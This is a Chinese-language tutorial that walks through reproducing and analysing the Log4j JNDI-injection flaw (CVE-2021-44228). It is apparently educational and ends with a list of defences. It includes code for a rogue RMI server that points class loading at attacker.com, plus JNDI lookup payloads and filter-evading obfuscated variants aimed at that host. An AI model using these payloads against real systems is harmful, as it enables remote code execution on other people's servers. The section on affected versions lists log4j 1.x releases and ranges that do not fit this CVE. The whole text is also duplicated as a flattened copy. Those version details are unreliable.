log4j漏洞复现及详细分析
字数 1997 2025-08-10 21:22:35

Log4j漏洞复现及详细分析教学文档

一、前置知识

1.1 漏洞成因

Log4j漏洞(CVE-2021-44228)的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成远程代码执行(RCE)。

1.2 JNDI注入原理

JNDI基本介绍

JNDI(Java Naming and Directory Interface)是Java中为命名和目录服务提供接口的API,主要由两部分组成:

  • Naming(命名):将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象
  • Directory(目录):将对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性并操作属性

JNDI架构

JNDI主要由两部分组成:

  1. JNDI API:Java应用程序通过JNDI API访问目录服务
  2. JNDI SPI:JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI操作命名或目录服务(LDAP, DNS, RMI等)

JNDI核心API

类名 描述
Context 命名服务的接口类,由name-to-object的键值对组成
InitialContext 命名服务操作的入口类
DirContext 目录服务的接口类,继承自Context
InitialDirContext 目录服务相关操作的入口类

Context核心方法

// 根据Name或字符串name获取绑定在context中的对象
public Object lookup(Name name) throws NamingException;
public Object lookup(String name) throws NamingException;

// 使用Name或字符串name将对象绑定到Context中
public void bind(Name name, Object obj) throws NamingException;
public void bind(String name, Object obj) throws NamingException;

DirContext核心方法

// 获取绑定对象的所有已关联的属性
public Attributes getAttributes(Name name) throws NamingException;
public Attributes getAttributes(String name) throws NamingException;

// 获取与属性标识符id相关联的属性
public Attributes getAttributes(Name name, String[] attrIds) throws NamingException;
public Attributes getAttributes(String name, String[] attrIds) throws NamingException;

// 将Name和Object绑定,同时关联属性
public void bind(Name name, Object obj, Attributes attrs) throws NamingException;
public void bind(String name, Object obj, Attributes attrs) throws NamingException;

1.3 JNDI操作示例

本地加载实例

  1. 创建RMI服务绑定本地类
  2. 客户端通过${jndi:rmi://localhost:1099/evil}表达式调用
  3. 日志格式化时执行lookup,触发RMI调用

远程加载实例

  1. 编译恶意类(exp.java)
  2. 启动RMI服务并指定远程加载地址
  3. 在恶意类所在目录开启web服务
  4. 客户端调用时从远程加载并执行恶意代码

1.4 漏洞影响版本

  • log4j-1.2.x: 1.2.17及之前所有版本
  • log4j-1.3-Alpha (已停止开发)
  • log4j-1.4.x: 1.4至1.4.17
  • log4j-1.5.x: 1.5.0至1.5.24
  • log4j-1.6.x及以上版本
  • log4j-2.x: 2.0至2.17.0

二、环境搭建

2.1 所需组件

  • JDK版本: 建议使用jdk_1.7u80(对JNDI限制较少)
  • IDE: IntelliJ IDEA
  • 依赖: log4j-core

2.2 示例代码

恶意类(exp.java)

public class exp {
    static {
        System.out.println("恶意代码执行!");
    }
}

漏洞测试类(log4jTest.java)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTest {
    private static final Logger LOGGER = LogManager.getLogger(log4jTest.class);
    
    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://attacker.com/exp}");
    }
}

RMI服务类(Log4jServer.java)

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class Log4jServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("exp", "exp", "http://attacker.com/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
        System.out.println("RMI服务启动,监听1099端口...");
    }
}

2.3 常用探测Payload

${jndi:ldap://attacker.com/exp}
${jndi:rmi://attacker.com/exp}
${jndi:dns://attacker.com/exp}

变种Payload:
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com/exp}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/exp}

三、漏洞复现步骤

  1. 编译恶意类(exp.java)并放置在web服务器可访问位置
  2. 启动RMI/LDAP恶意服务(Log4jServer.java)
  3. 在恶意类所在目录开启web服务(如python -m http.server 8000)
  4. 运行漏洞测试类(log4jTest.java)
  5. 观察恶意代码是否被执行

四、漏洞原理分析

4.1 调用链分析

  1. 日志记录触发字符串插值处理
  2. StrSubstitutor类处理${}表达式
  3. 调用lookup方法解析JNDI引用
  4. JNDI调用链:
    • 生成RMI/LDAP实例
    • 获取Reference实例
    • 判断绑定对象是否在本地
    • 不在本地则从远程加载
  5. RegistryContext获取恶意类实例
  6. getObjectInstance方法从Reference中获取工厂类
  7. loadClass方法通过反射加载并执行恶意类

4.2 关键代码节点

  • StrSubstitutor:开始反序列化的前奏,进入lookup方法
  • JndiLookup:处理JNDI协议调用
  • RegistryContext:获取远程类实例
  • NamingManager:负责从Reference加载类
  • getObjectFactoryFromReference:决定从本地还是远程加载类
  • loadClass:最终通过反射执行恶意代码

五、防御措施

  1. 升级到Log4j 2.17.1或更高版本
  2. 设置系统属性log4j2.formatMsgNoLookups=true
  3. 移除JndiLookup类
  4. 限制出站网络连接
  5. 使用WAF拦截包含${jndi:的请求
  6. 升级JDK到最新版本(增加JNDI限制)

六、总结

Log4j漏洞通过JNDI注入实现远程代码执行,危害极大。理解其原理需要掌握JNDI工作机制和Log4j的日志处理流程。防御关键在于及时升级、限制危险功能和加强网络管控。

Log4j漏洞复现及详细分析教学文档 一、前置知识 1.1 漏洞成因 Log4j漏洞(CVE-2021-44228)的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成远程代码执行(RCE)。 1.2 JNDI注入原理 JNDI基本介绍 JNDI(Java Naming and Directory Interface)是Java中为命名和目录服务提供接口的API,主要由两部分组成: Naming(命名) :将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象 Directory(目录) :将对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性并操作属性 JNDI架构 JNDI主要由两部分组成: JNDI API :Java应用程序通过JNDI API访问目录服务 JNDI SPI :JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI操作命名或目录服务(LDAP, DNS, RMI等) JNDI核心API | 类名 | 描述 | |------|------| | Context | 命名服务的接口类,由name-to-object的键值对组成 | | InitialContext | 命名服务操作的入口类 | | DirContext | 目录服务的接口类,继承自Context | | InitialDirContext | 目录服务相关操作的入口类 | Context核心方法 DirContext核心方法 1.3 JNDI操作示例 本地加载实例 创建RMI服务绑定本地类 客户端通过 ${jndi:rmi://localhost:1099/evil} 表达式调用 日志格式化时执行lookup,触发RMI调用 远程加载实例 编译恶意类(exp.java) 启动RMI服务并指定远程加载地址 在恶意类所在目录开启web服务 客户端调用时从远程加载并执行恶意代码 1.4 漏洞影响版本 log4j-1.2.x: 1.2.17及之前所有版本 log4j-1.3-Alpha (已停止开发) log4j-1.4.x: 1.4至1.4.17 log4j-1.5.x: 1.5.0至1.5.24 log4j-1.6.x及以上版本 log4j-2.x: 2.0至2.17.0 二、环境搭建 2.1 所需组件 JDK版本: 建议使用jdk_ 1.7u80(对JNDI限制较少) IDE: IntelliJ IDEA 依赖: log4j-core 2.2 示例代码 恶意类(exp.java) 漏洞测试类(log4jTest.java) RMI服务类(Log4jServer.java) 2.3 常用探测Payload 三、漏洞复现步骤 编译恶意类(exp.java)并放置在web服务器可访问位置 启动RMI/LDAP恶意服务(Log4jServer.java) 在恶意类所在目录开启web服务(如 python -m http.server 8000 ) 运行漏洞测试类(log4jTest.java) 观察恶意代码是否被执行 四、漏洞原理分析 4.1 调用链分析 日志记录触发字符串插值处理 StrSubstitutor类处理 ${} 表达式 调用lookup方法解析JNDI引用 JNDI调用链: 生成RMI/LDAP实例 获取Reference实例 判断绑定对象是否在本地 不在本地则从远程加载 RegistryContext获取恶意类实例 getObjectInstance方法从Reference中获取工厂类 loadClass方法通过反射加载并执行恶意类 4.2 关键代码节点 StrSubstitutor :开始反序列化的前奏,进入lookup方法 JndiLookup :处理JNDI协议调用 RegistryContext :获取远程类实例 NamingManager :负责从Reference加载类 getObjectFactoryFromReference :决定从本地还是远程加载类 loadClass :最终通过反射执行恶意代码 五、防御措施 升级到Log4j 2.17.1或更高版本 设置系统属性 log4j2.formatMsgNoLookups=true 移除JndiLookup类 限制出站网络连接 使用WAF拦截包含 ${jndi: 的请求 升级JDK到最新版本(增加JNDI限制) 六、总结 Log4j漏洞通过JNDI注入实现远程代码执行,危害极大。理解其原理需要掌握JNDI工作机制和Log4j的日志处理流程。防御关键在于及时升级、限制危险功能和加强网络管控。